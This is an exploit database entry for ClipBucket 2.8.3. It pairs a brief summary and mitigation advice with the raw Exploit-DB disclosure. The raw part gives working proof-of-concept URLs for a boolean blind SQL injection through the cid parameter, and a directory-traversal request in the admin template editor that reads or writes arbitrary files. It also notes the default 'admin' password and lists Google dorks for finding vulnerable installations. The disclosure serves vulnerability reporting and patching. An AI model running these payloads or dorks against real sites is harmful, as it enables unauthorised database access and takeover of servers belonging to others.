ClipBucket 2.8.3 - Multiple Vulnerabilities

vendor:

ClipBucket

by:

bRpsd

8,8

CVSS

HIGH

Blind SQL Injection, Arbitrary File Read/Write, Default & Weak admin password

89, 522, 259

CWE

Product Name: ClipBucket

Affected Version From: 2.8.3

Affected Version To: 2.8.3

Patch Exists: NO

Related CWE: N/A

CPE: a:clipbucket:clipbucket:2.8.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux, XAMPP

2017

ClipBucket 2.8.3 – Multiple Vulnerabilities

ClipBucket 2.8.3 is vulnerable to Blind SQL Injection, Arbitrary File Read/Write and Default & Weak admin password. Blind SQL Injection can be exploited by sending a maliciously crafted HTTP request with a specially crafted cid parameter. Arbitrary File Read/Write can be exploited by sending a maliciously crafted HTTP request with a specially crafted file parameter. Default & Weak admin password can be exploited by using the default username and password combination of 'admin'.

Mitigation:

To mitigate Blind SQL Injection, input validation should be performed to ensure that the cid parameter is valid. To mitigate Arbitrary File Read/Write, access to the template editor should be restricted to admin users only. To mitigate Default & Weak admin password, the default username and password combination should be changed.

Source

Exploit-DB raw data:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
.:. Exploit Title > ClipBucket 2.8.3 - Multiple Vulnerabilities

.:. Google Dorks .:.
"Forged by ClipBucket"
inurl:view_collection.php?cid=

.:. Date: August 15, 2017

.:. Exploit Author: bRpsd
.:. Skype contact: vegnox
.:. Mail contact: cy@live.no

.:. Vendor Homepage > https://clipbucket.com/latest
.:. Software Link > https://github.com/arslancb/clipbucket/archive/4829.zip
.:. Version: 2.8.3 latest!
.:. Tested on > Linux, on local xampp
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@



Vulnerability 1: Blind SQL Injection

Type: boolean
File: /view_collection.php
Parameter: cid


.:. POC .:.

http://localhost/view_collection.php?cid=-1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--&type=photos [columns count]
http://localhost/view_collection.php?cid=1 AND 1=1&type=photos [true]
http://localhost/view_collection.php?cid=1 AND 1=2&type=photos [false]





Vulnerability 2: Arbitrary File Read/Write

NOTE: Access Requires Admin Privilege!

File: /admin_area/template_editor.php
Parameter: file

.:. POC .:.

The template editor is suppose to allow editing html/css files only, but if you modify the file parameter you can escape the template directory then view OR edit any file actually of any extension.

http://localhost/admin_area/template_editor.php?dir=cb_28&file=../../../index.php&folder=layout





Vulnerability 3: Default & Weak admin password

When you setup the CMS, the admin password is autocomplete set as [admin] unless you change it, lazy people will skip changing that field and end up having username and password as 'admin' which is pretty easy to guess!






-Be safe.